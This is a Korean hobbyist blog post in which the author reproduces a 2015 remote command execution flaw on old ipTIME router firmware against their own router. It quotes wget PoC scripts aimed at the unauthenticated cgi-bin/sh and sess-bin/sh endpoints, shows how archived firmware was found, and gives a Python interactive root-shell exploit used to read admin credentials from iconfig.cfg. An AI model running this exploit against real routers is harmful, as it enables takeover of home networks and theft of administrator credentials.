지난번 구매했던 ipTIME A3004T를 구매하고 A3004T에 openWRT까지 올렸다.
하지만 CPU 아키텍처의 문제로 Docker 데몬이 설치되지 않는 것을 알게 되었고 다른 방법을 찾아보게 되는데...
지난번에는 Docker 설치가 불가능하고 공유기 주제에 고사양만 타겟팅이 가능하다는 사실에 절망했다.
하지만, 여기서 포기하지 않고 계속해서 새로운 방법을 찾아보았다.
여기서 제일 먼저 떠올랐던 생각이 '그냥 공유기는 업데이트를 잘 안하니까 1-day 취약점만으로도 공격이 가능하지 않을까?' 였다.
나는 이 생각을 기점으로 구글에 'iptime RCE', 'iptime vulnerability' 등 웬만한 키워드를 다 넣어서 검색해봤다.
스크롤을 하다가 괜찮은 이름을 발견했고 바로 링크를 눌러봤다.
꽤 오래전에 작성된 보안 블로그였던 것 같았다. 현재 버전이 15.09.0 이다.
이걸 처음 발견했을때 생각보다 나쁘지 않았다는 생각을 했다.
일단 공유기를 대부분의 사람들이 TV장 아랫쪽에 넣어놓고 방치하는 경우가 많기때문에 업데이트를 잘 하지 않는 경우가 대다수다.
심지어 ipTIME은 자동 업데이트가 기본값임에도 불구하고 사용자가 직접 공유기 관리자 페이지에 접속해야만 할건지 안할건지 물어본다. 이건 현재까지도 계속 되는 문제다.
이처럼 생각을 했고 9.58이라는 버전이 정말 오래되긴 했지만 될것 같아서 바로 진행해봤다.
앞서, 이 취약점은 ipTIME의 개발사인, EFM Networks에 직접 취약점 발견자(피에르 킴)가 2015년에 신고한것으로 추정되며 이로 인해서 CVE나 KVE가 발급되지 않았다.
하지만 신고자가 자기 블로그에 상세한 PoC를 공개해놓았기에 이를 한번 정리해보고자 한다.
ipTIME 공유기의 9.58 이전 버전을 가진 대부분의 공유기(확인된 기기만 127개) 펌웨어에서 발생하는 것을 볼 수 있다.
9.58 이전 버전엔 윈격 지원이라는 무시무시한 기능이 존재했다.
이게 왜 무시무시 했냐면 이를 사용하면 공유기의 root 권한을 가지고 있는 웹쉘을 사용할 수 있었기 때문이다.
현재로서는 상상할 수 없는 기능이다. root 웹쉘이 공유기 자체에 들어있다니.
이 RCE 취약점은 이 원격 지원 기능의 취약점을 찾았다고 생각한다.
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain
'; PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh
cgi-bin/sh
엔드포인트에 POST 요청 전송하여 명령어를 실행이 가능하다.
#!/bin/sh
if [ ! $1 ]; then
echo "Usage:"
echo $0 ip command
exit 1
fi
wget -qO- --post-data="echo 'Content-type: text/plain
'; PATH=$PATH:/sbin:/bin $2 $3 $4" http://$1/sess-bin/sh
sess-bin/sh
엔드포인트에 POST 요청 전송하여 명령어를 실행이 가능하다.
나는 위 PoC를 직접 테스트해보기 위해서 해당 모델 중 v504를 사용했다.
전에 서버 망을 구성할 때 썼었기에 가지고 있어서 바로 해당 버전의 펌웨어(9.52, 9.58)를 구하기 시작했다.
근데 확실히 꽤 크게 발생한 사건이라고 생각했는지 iptime 측에서 해당 다운로드 페이지를 비공개처리 해버렸다.
'어떻게 구하지...'(일단 구글링을 해본다.)
이 때 처음으로 Wayback Machine이라는 걸 찾아냈다.
웹 아카이브 서비스로, 과거의 웹페이지를 보여주는 서비스였다. 이를 사용해서 다운로드 링크를 찾기 시작했다.
왜 다운로드 링크를 찾았냐면, 단순히 비공개 처리를 한 것이라면 다운로드 링크는 살아있을 가능성이 있기 때문이다.
이렇게 다운로드 링크를 이리저리 뒤져보니, 링크에 패턴이 있다는 사실을 알게 되었다.
https://download.iptime.co.kr/online_upgrade/[모델명]_[국가]_[메이저 버전]_[마이너 버전].bin
이런 식으로 패턴이 존재해서 이를 기반으로 해당 버전을 넣어서 접속해봤지만 404가 뜨면서 실패했다.
결국 포기 하려던 그 때, 미친 생각이 떠올랐다.
바로, Wayback Machine에 https://download.iptime.co.kr/online_upgrade/
을 처보는 것이었다.
노다지를 발견했다.
이전에 서버에 file_server 형식으로 list를 했던 페이지를 찾은것이다.
여기서 내가 원하는 펌웨어의 파일명을 찾았고 여태까지 왜 안됐는지 그제서야 이유를 알게 되었다.
위에서 말한 패턴에서 국가코드가 빠져 있는 모습을 보게 되었다. 이것 때문에 며칠을 방법을 찾아 해맸다.
이로서 위 패턴에 맞추니까 해당 펌웨어를 받을 수 있었다.
이제 주 목표였던 RCE 1-day Exploit을 진행하겠다.
위 코드로 공격을 진행하고 싶었지만, 조금 더 shell 처럼 사용할 수 있도록 위 PoC를 이용해서 Exploit Code를 새롭게 작성했다.
# python3
import urllib.request
def attack():
global e
url = "http://192.168.0.1/sess-bin/sh"
payload = "X=X; echo 'Content-type: text/plain'; echo;"
command = input("root@192.168.0.1:/bin# ")
if command == "exit":
e = 1
payload += command + ";"
req = urllib.request.Request(url, data=payload.encode('utf-8'))
req.add_header("User-Agent", "Mozilla/5.0")
req.add_header("Content-type", "text/plain")
with urllib.request.urlopen(req) as response:
print(response.read().decode('utf-8'))
e = 0
while True:
try:
attack()
if e == 1:
print("Bye")
break
except Exception as err:
print("[!] Error:", err)
이 코드를 사용해서 진행했고, 최종적으로 성공했다.
이처럼 쉘을 따는데 성공했고, 해당 PoC에 나온대로 /tmp/etc/iconfig.cfg
에 있는 관리자 설정 정보를 확인하여 관리자의 ID, PW를 탈취하는데 성공했다.
최종적으로 관리자 웹페이지를 탈취했다.
내가 신이 났었는지 모르겠는데 UART 쉘도 따고 싶었어서 정보 찾아서 시도하다가 기기를 벽돌로 만들어버렸다.
나도 어떻게 벽돌이 됐는지 설명을 하고 싶은데 당시에 도파민에 절여저 있어서 기억이 나질 않는다. 진짜 사고다.
큰일이다.. 단종이라서 살 수도 없다..ㅠㅠㅠ
흠..... 아무리 당근을 뒤져봐도 찾을 수가 없다... 진짜 큰일이다...
기기가 나의 멍청하고 어리석은 실수로 인해서 벽돌이 되고 마는데...
과연 다시 살려낼 것인가..? 아니면 또 다른 방향을 찾을 것인가..?
다음 스토리를 기대하시라..